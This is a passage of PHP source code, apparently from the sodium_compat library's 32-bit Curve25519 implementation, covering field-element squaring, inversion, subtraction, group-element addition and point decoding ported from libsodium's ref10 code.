        $f5f8_38 = $f8_19->mulInt64($f5_2, 30);
        $f5f9_76 = $f9_38->mulInt64($f5_2, 30);

        $f6f6_19 = $f6_19->mulInt64($f6, 30);
        $f6f7_38 = $f7_38->mulInt64($f6, 30);
        $f6f8_38 = $f8_19->mulInt64($f6_2, 30);
        $f6f9_38 = $f9_38->mulInt64($f6, 30);

        $f7f7_38 = $f7_38->mulInt64($f7, 28);
        $f7f8_38 = $f8_19->mulInt64($f7_2, 30);
        $f7f9_76 = $f9_38->mulInt64($f7_2, 30);

        $f8f8_19 = $f8_19->mulInt64($f8, 30);
        $f8f9_38 = $f9_38->mulInt64($f8, 30);

        $f9f9_38 = $f9_38->mulInt64($f9, 28);

        $h0 =
$f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38);
        $h1 =
$f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38);
        $h2 =
$f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19);
        $h3 =
$f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38);
        $h4 =
$f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38);
        $h5 =
$f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38);
        $h6 =
$f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19);
        $h7 =
$f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38);
        $h8 =
$f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38);
        $h9 =
$f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         */

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));

        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));

        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));

        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * Square and double a field element
     *
     * h = 2 * f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_sq2(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        /** @var ParagonIE_Sodium_Core32_Int64 $f0 */
        $f0 = $f[0]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f1 */
        $f1 = $f[1]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f2 */
        $f2 = $f[2]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f3 */
        $f3 = $f[3]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f4 */
        $f4 = $f[4]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f5 */
        $f5 = $f[5]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f6 */
        $f6 = $f[6]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f7 */
        $f7 = $f[7]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f8 */
        $f8 = $f[8]->toInt64();
        /** @var ParagonIE_Sodium_Core32_Int64 $f9 */
        $f9 = $f[9]->toInt64();

        $f0_2 = $f0->shiftLeft(1);
        $f1_2 = $f1->shiftLeft(1);
        $f2_2 = $f2->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f4_2 = $f4->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f6_2 = $f6->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f5_38 = $f5->mulInt(38, 6); /* 1.959375*2^30 */
        $f6_19 = $f6->mulInt(19, 5); /* 1.959375*2^30 */
        $f7_38 = $f7->mulInt(38, 6); /* 1.959375*2^30 */
        $f8_19 = $f8->mulInt(19, 5); /* 1.959375*2^30 */
        $f9_38 = $f9->mulInt(38, 6); /* 1.959375*2^30 */
        $f0f0 = $f0->mulInt64($f0, 28);
        $f0f1_2 = $f0_2->mulInt64($f1, 28);
        $f0f2_2 = $f0_2->mulInt64($f2, 28);
        $f0f3_2 = $f0_2->mulInt64($f3, 28);
        $f0f4_2 = $f0_2->mulInt64($f4, 28);
        $f0f5_2 = $f0_2->mulInt64($f5, 28);
        $f0f6_2 = $f0_2->mulInt64($f6, 28);
        $f0f7_2 = $f0_2->mulInt64($f7, 28);
        $f0f8_2 = $f0_2->mulInt64($f8, 28);
        $f0f9_2 = $f0_2->mulInt64($f9, 28);
        $f1f1_2 = $f1_2->mulInt64($f1, 28);
        $f1f2_2 = $f1_2->mulInt64($f2, 28);
        $f1f3_4 = $f1_2->mulInt64($f3_2, 29);
        $f1f4_2 = $f1_2->mulInt64($f4, 28);
        $f1f5_4 = $f1_2->mulInt64($f5_2, 29);
        $f1f6_2 = $f1_2->mulInt64($f6, 28);
        $f1f7_4 = $f1_2->mulInt64($f7_2, 29);
        $f1f8_2 = $f1_2->mulInt64($f8, 28);
        $f1f9_76 = $f9_38->mulInt64($f1_2, 29);
        $f2f2 = $f2->mulInt64($f2, 28);
        $f2f3_2 = $f2_2->mulInt64($f3, 28);
        $f2f4_2 = $f2_2->mulInt64($f4, 28);
        $f2f5_2 = $f2_2->mulInt64($f5, 28);
        $f2f6_2 = $f2_2->mulInt64($f6, 28);
        $f2f7_2 = $f2_2->mulInt64($f7, 28);
        $f2f8_38 = $f8_19->mulInt64($f2_2, 29);
        $f2f9_38 = $f9_38->mulInt64($f2, 29);
        $f3f3_2 = $f3_2->mulInt64($f3, 28);
        $f3f4_2 = $f3_2->mulInt64($f4, 28);
        $f3f5_4 = $f3_2->mulInt64($f5_2, 28);
        $f3f6_2 = $f3_2->mulInt64($f6, 28);
        $f3f7_76 = $f7_38->mulInt64($f3_2, 29);
        $f3f8_38 = $f8_19->mulInt64($f3_2, 29);
        $f3f9_76 = $f9_38->mulInt64($f3_2, 29);
        $f4f4 = $f4->mulInt64($f4, 28);
        $f4f5_2 = $f4_2->mulInt64($f5, 28);
        $f4f6_38 = $f6_19->mulInt64($f4_2, 29);
        $f4f7_38 = $f7_38->mulInt64($f4, 29);
        $f4f8_38 = $f8_19->mulInt64($f4_2, 29);
        $f4f9_38 = $f9_38->mulInt64($f4, 29);
        $f5f5_38 = $f5_38->mulInt64($f5, 29);
        $f5f6_38 = $f6_19->mulInt64($f5_2, 29);
        $f5f7_76 = $f7_38->mulInt64($f5_2, 29);
        $f5f8_38 = $f8_19->mulInt64($f5_2, 29);
        $f5f9_76 = $f9_38->mulInt64($f5_2, 29);
        $f6f6_19 = $f6_19->mulInt64($f6, 29);
        $f6f7_38 = $f7_38->mulInt64($f6, 29);
        $f6f8_38 = $f8_19->mulInt64($f6_2, 29);
        $f6f9_38 = $f9_38->mulInt64($f6, 29);
        $f7f7_38 = $f7_38->mulInt64($f7, 29);
        $f7f8_38 = $f8_19->mulInt64($f7_2, 29);
        $f7f9_76 = $f9_38->mulInt64($f7_2, 29);
        $f8f8_19 = $f8_19->mulInt64($f8, 29);
        $f8f9_38 = $f9_38->mulInt64($f8, 29);
        $f9f9_38 = $f9_38->mulInt64($f9, 29);

        $h0 =
$f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38);
        $h1 =
$f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38);
        $h2 =
$f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19);
        $h3 =
$f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38);
        $h4 =
$f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38);
        $h5 =
$f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38);
        $h6 =
$f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19);
        $h7 =
$f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38);
        $h8 =
$f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38);
        $h9 =
$f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         */
        $h0 = $h0->shiftLeft(1);
        $h1 = $h1->shiftLeft(1);
        $h2 = $h2->shiftLeft(1);
        $h3 = $h3->shiftLeft(1);
        $h4 = $h4->shiftLeft(1);
        $h5 = $h5->shiftLeft(1);
        $h6 = $h6->shiftLeft(1);
        $h7 = $h7->shiftLeft(1);
        $h8 = $h8->shiftLeft(1);
        $h9 = $h9->shiftLeft(1);

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));
        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));
        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));
        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));
        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));
        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $Z
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_invert(ParagonIE_Sodium_Core32_Curve25519_Fe
$Z)
    {
        $z = clone $Z;
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t2 = self::fe_sq($t0);
        $t1 = self::fe_mul($t1, $t2);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 20; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 100; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }
        return self::fe_mul($t1, $t0);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref
https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $z
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
fe_pow22523(ParagonIE_Sodium_Core32_Curve25519_Fe $z)
    {
        # fe_sq(t0, z);
        # fe_sq(t1, t0);
        # fe_sq(t1, t1);
        # fe_mul(t1, z, t1);
        # fe_mul(t0, t0, t1);
        # fe_sq(t0, t0);
        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 5; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 20; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 20; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 100; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 100; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t0, t0);
        # fe_sq(t0, t0);
        # fe_mul(out, t0, z);
        $t0 = self::fe_mul($t1, $t0);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_sq($t0);
        return self::fe_mul($t0, $z);
    }

    /**
     * Subtract two field elements.
     *
     * h = f - g
     *
     * Preconditions:
     * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     *
     * Postconditions:
     * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedTypeCoercion
     */
    public static function fe_sub(ParagonIE_Sodium_Core32_Curve25519_Fe $f,
ParagonIE_Sodium_Core32_Curve25519_Fe $g)
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $f[0]->subInt32($g[0]),
                $f[1]->subInt32($g[1]),
                $f[2]->subInt32($g[2]),
                $f[3]->subInt32($g[3]),
                $f[4]->subInt32($g[4]),
                $f[5]->subInt32($g[5]),
                $f[6]->subInt32($g[6]),
                $f[7]->subInt32($g[7]),
                $f[8]->subInt32($g[8]),
                $f[9]->subInt32($g[9])
            )
        );
    }

    /**
     * Add two group elements.
     *
     * r = p + q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_add(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YplusX);
        $r->Y = self::fe_mul($r->Y, $q->YminusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0   = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref
https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215
     * @param string $a
     * @return array<int, mixed>
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayOffset
     */
    public static function slide($a)
    {
        if (self::strlen($a) < 256) {
            if (self::strlen($a) < 16) {
                $a = str_pad($a, 256, '0', STR_PAD_RIGHT);
            }
        }
        /** @var array<int, int> $r */
        $r = array();
        for ($i = 0; $i < 256; ++$i) {
            $r[$i] = (int) (1 &
                (
                    self::chrToInt($a[$i >> 3])
                        >>
                    ($i & 7)
                )
            );
        }

        for ($i = 0;$i < 256;++$i) {
            if ($r[$i]) {
                for ($b = 1;$b <= 6 && $i + $b < 256;++$b) {
                    if ($r[$i + $b]) {
                        if ($r[$i] + ($r[$i + $b] << $b) <= 15) {
                            $r[$i] += $r[$i + $b] << $b;
                            $r[$i + $b] = 0;
                        } elseif ($r[$i] - ($r[$i + $b] << $b) >=
-15) {
                            $r[$i] -= $r[$i + $b] << $b;
                            for ($k = $i + $b; $k < 256; ++$k) {
                                if (!$r[$k]) {
                                    $r[$k] = 1;
                                    break;
                                }
                                $r[$k] = 0;
                            }
                        } else {
                            break;
                        }
                    }
                }
            }
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_frombytes_negate_vartime($s)
    {
        static $d = null;
        if (!$d) {
            /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */
            $d = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                array(
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[0]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[1]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[2]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[3]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[4]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[5]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[6]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[7]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[8]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[9])
                )
            );
        }

        # fe_frombytes(h->Y,s);
        # fe_1(h->Z);
        $h = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_frombytes($s),
            self::fe_1()
        );

        # fe_sq(u,h->Y);
        # fe_mul(v,u,d);
        # fe_sub(u,u,h->Z);       /* u = y^2-1 */
        # fe_add(v,v,h->Z);       /* v = dy^2+1 */
        $u = self::fe_sq($h->Y);
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */
        $v = self::fe_mul($u, $d);
        $u = self::fe_sub($u, $h->Z); /* u =  y^2 - 1 */
        $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */

        # fe_sq(v3,v);
        # fe_mul(v3,v3,v);        /* v3 = v^3 */
        # fe_sq(h->X,v3);
        # fe_mul(h->X,h->X,v);
        # fe_mul(h->X,h->X,u);    /* x = uv^7 */
        $v3 = self::fe_sq($v);
        $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */
        $h->X = self::fe_sq($v3);
        $h->X = self::fe_mul($h->X, $v);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */

        # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */
        # fe_mul(h->X,h->X,v3);
        # fe_mul(h->X,h->X,u);    /* x = uv^3(uv^7)^((q-5)/8) */
        $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */
        $h->X = self::fe_mul($h->X, $v3);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8)
*/

        # fe_sq(vxx,h->X);
        # fe_mul(vxx,vxx,v);
        # fe_sub(check,vxx,u);    /* vx^2-u */
        $vxx = self::fe_sq($h->X);
        $vxx = self::fe_mul($vxx, $v);
        $check = self::fe_sub($vxx, $u); /* vx^2 - u */

        # if (fe_isnonzero(check)) {
        #     fe_add(check,vxx,u);  /* vx^2+u */
        #     if (fe_isnonzero(check)) {
        #         return -1;
        #     }
        #     fe_mul(h->X,h->X,sqrtm1);
        # }
        if (self::fe_isnonzero($check)) {
            $check = self::fe_add($vxx, $u); /* vx^2 + u */
            if (self::fe_isnonzero($check)) {
                throw new RangeException('Internal check
failed.');
            }
            $h->X = self::fe_mul(
                $h->X,
               
ParagonIE_Sodium_Core32_Curve25519_Fe::fromIntArray(self::$sqrtm1)
            );
        }

        # if (fe_isnegative(h->X) == (s[31] >> 7)) {
        #     fe_neg(h->X,h->X);
        # }
        $i = self::chrToInt($s[31]);
        if (self::fe_isnegative($h->X) === ($i >> 7)) {
            $h->X = self::fe_neg($h->X);
        }

        # fe_mul(h->T,h->X,h->Y);
        $h->T = self::fe_mul($h->X, $h->Y);
        return $h;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_madd(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yplusx);
        $r->Y = self::fe_mul($r->Y, $q->yminusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add(clone $p->Z, clone $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_msub(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;

